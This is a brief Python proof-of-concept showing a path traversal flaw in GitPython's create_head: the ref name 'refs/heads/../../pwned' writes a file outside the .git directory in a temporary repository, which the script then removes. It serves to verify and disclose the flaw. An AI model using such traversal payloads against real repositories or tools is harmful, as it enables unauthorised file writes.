Vulnerable code sample

import git
import os
import tempfile
import shutil

# This code demonstrates the vulnerability on a susceptible version of GitPython (e.g., 3.1.40).
# To run, you must have a vulnerable version installed: pip install GitPython==3.1.40

repo_dir = tempfile.mkdtemp()
repo = git.Repo.init(repo_dir)

# A repository needs at least one commit to have a valid HEAD reference.
with open(os.path.join(repo_dir, "dummy_file"), "w") as f:
    f.write("content")
repo.index.add(["dummy_file"])
repo.index.commit("initial commit")

# This is the attacker-controlled input with a path traversal payload.
# It is designed to create a file named 'pwned' in the root of the repository,
# outside of the .git directory.
malicious_ref_path = "refs/heads/../../pwned"

try:
    # This is the vulnerable function call. It creates a reference (head).
    # In unpatched versions, it does not sanitize the '..' characters,
    # allowing the path to escape the intended .git/refs/heads/ directory.
    repo.create_head(malicious_ref_path)

    pwned_file = os.path.join(repo_dir, "pwned")
    if os.path.exists(pwned_file):
        print(f"VULNERABILITY CONFIRMED: Malicious file created at '{pwned_file}'")
    else:
        print("Vulnerability not triggered. The library is likely patched.")

except Exception as e:
    print(f"Operation failed, as expected on a patched version: {e}")

finally:
    shutil.rmtree(repo_dir)